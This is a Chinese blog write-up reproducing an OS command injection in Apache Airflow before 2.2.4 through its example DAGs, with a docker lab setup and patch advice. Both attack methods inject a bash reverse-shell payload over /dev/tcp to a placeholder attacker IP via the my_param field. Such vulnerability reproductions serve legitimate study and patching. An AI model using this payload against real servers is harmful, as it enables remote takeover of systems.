Apache Airflow OS命令注入
0x00 简介
Apache Airflow是美国阿帕奇(Apache)基金会的一套用于创建、管理和监控工作流程的开源平台。该平台具有可扩展和动态监控等特点。
0x01 漏洞概述
在 Apache Airflow 2.2.4 之前的版本中,一些示例 DAG 没有正确清理用户提供的参数,使其容易受到来自 Web UI 的 OS 命令注入的影响。
0x02 影响版本
在 Apache Airflow 2.2.4 之前的版本。
0x03 环境搭建
下载yaml文件
curl -LfO 'https://airflow.apache.org/docs/apache-airflow/2.2.3/docker-compose.yaml'
vim docker-compose.yaml
修改并添加参数
docker镜像初始化
docker-compose up airflow-init
启动airflow
docker-compose -f docker-compose.yaml up -d
airflow对运行内存的需求比较大,可能需要在vm中对虚拟机扩容。
0x04 漏洞复现
在攻击机上打开目标ip地址:8080,账号密码都是airflow登录进来。
攻击方式一:example_passing_params_via_test_command.py DAG命令注入
模板表达式中的参数Foo是外部可控的,并通过jiaja2模板进行渲染,继续分析execute函数发现此参数值可以去执行bash命令
在这个DAG中插入bash反弹shell的paylaod。
{"my_param":"\";bash -i >& /dev/tcp/xx.xx.xx.xx/9999 0>&1;\""}
同时在攻击机上监听9999端口,随后点击执行。
可以看到,成功执行。
攻击方式二:tutorial.py DAG命令注入
tutorial.py中有着相同的漏洞原理,同样是可控参数+当做bash命令执行。
在tutorial drag中执行以下payload
{"my_param":"\";bash -i >& /dev/tcp/xx.xx.xx.xx/9999 0>&1;\""}
执行后可在攻击机上看到反弹shell成功
0x05 修复方式
1、目前厂商已发布升级补丁以修复漏洞,补丁获取链接:
http://seclists.org/oss-sec/2022/q1/160
2、删除或禁用默认DAG(可自行删除或在配置文件中禁用默认DAGload_examples=False)
参考链接:
https://blog.csdn.net/qq_44281295/article/details/126512145
https://hackerone.com/reports/1492896
__EOF__

本文链接:https://www.cnblogs.com/akger/p/17245652.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角【推荐】一下。您的鼓励是博主的最大动力!
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?
· 【译】Visual Studio 中新的强大生产力特性
· 【设计模式】告别冗长if-else语句:使用策略模式优化代码结构
· 10年+ .NET Coder 心语 ── 封装的思维:从隐藏、稳定开始理解其本质意义